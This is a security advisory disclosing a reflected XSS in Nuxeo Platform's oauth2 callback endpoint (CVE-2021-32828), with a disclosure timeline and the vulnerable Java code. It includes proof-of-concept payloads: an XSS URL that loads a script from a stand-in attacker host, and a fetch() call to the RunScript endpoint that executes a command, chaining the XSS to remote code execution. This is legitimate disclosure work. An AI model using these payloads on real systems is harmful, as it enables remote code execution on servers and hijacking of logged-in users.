Coordinated Disclosure Timeline
- 2021-04-28: Requested security contact
- 2021-04-29: Sent report to security@nuxeo.com
- 2021-06-07: Issue is fixed
- 2021-06-15: Nuxeo requests to postpone publication to allow users to upgrade
- 2021-07-21: Publication of the advisory
Summary
The oauth2
REST API is vulnerable to Reflected Cross-Site Scripting (XSS). This XSS can be escalated to Remote Code Execution (RCE) by levering the automation API.
Product
Nuxeo Platform
Tested Version
v11.5.109
Details
The /oauth2/{serviceProviderName}/callback
REST endpoint is vulnerable to XSS:
@GET
@Path("{serviceProviderName}/callback")
public Object doGet(@PathParam("serviceProviderName") String serviceProviderName)
throws IOException {
OAuth2ServiceProviderRegistry registry = Framework.getService(OAuth2ServiceProviderRegistry.class);
OAuth2ServiceProvider provider = registry.getProvider(serviceProviderName);
if (provider == null) {
return Response.status(HttpServletResponse.SC_NOT_FOUND).entity(
"No service provider called: \"" + serviceProviderName + "\".").build();
}
Map<String, Object> args = new HashMap<>();
new UnrestrictedSessionRunner(ctx.getCoreSession()) {
@Override
public void run() {
try {
credential = provider.handleAuthorizationCallback(request);
} catch (NuxeoException e) {
log.error("Authorization request failed", e);
args.put("error", "Authorization request failed");
}
}
}.runUnrestricted();
String token = (credential == null) ? "" : credential.getAccessToken();
args.put("token", token);
return getView("index").args(args);
}
Because the endpoint does not use the @Produces
annotation or a explicit call to Response.type()
to limit the content type of the HTTP response, Jersey will use attacker supplied content-type specified in the Accept
header to decide what content type the response should have. If a logged-in user is tricked into visiting this endpoint, the XSS will trigger. eg:
GET http://localhost:8080/nuxeo/site/oauth2/%3Cimg%20src%20onerror=alert(document.domain)%3E/callback
Impact
Because Nuxeo exposes a powerful automation API, the XSS can be used to reach the runScript
endpoint (or any automation endpoint sinxe they accept expr
parameters) and achieve remote code execution (RCE).
For example, an attacker can use a URL like:
http://localhost:8080/nuxeo/site/oauth2/%3Cimg%20src%20onerror%3Da%3Ddocument.createElement('script')%3ba.setAttribute('src',document.location.hash.substr(1))%3bdocument.head.appendChild(a)%3E/callback#//attacker.ngrok.io/exploit.js
Which will execute the Javascript code provided by the attacker in http://attacker.ngrok.io/exploit.js
. Here, an attacker can trigger a second request to the automation runScript
endpoint and run arbitrary code:
fetch("http://localhost:8080/nuxeo/site/automation/RunScript",{method:'POST',headers:{"Content-Type":"application/json"},body:JSON.stringify({"params":{"script":"Runtime.getRuntime().exec('touch /tmp/pwned');"},"context":{}})})
CVE
- CVE-2021-32828
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-072
in any communication regarding this issue.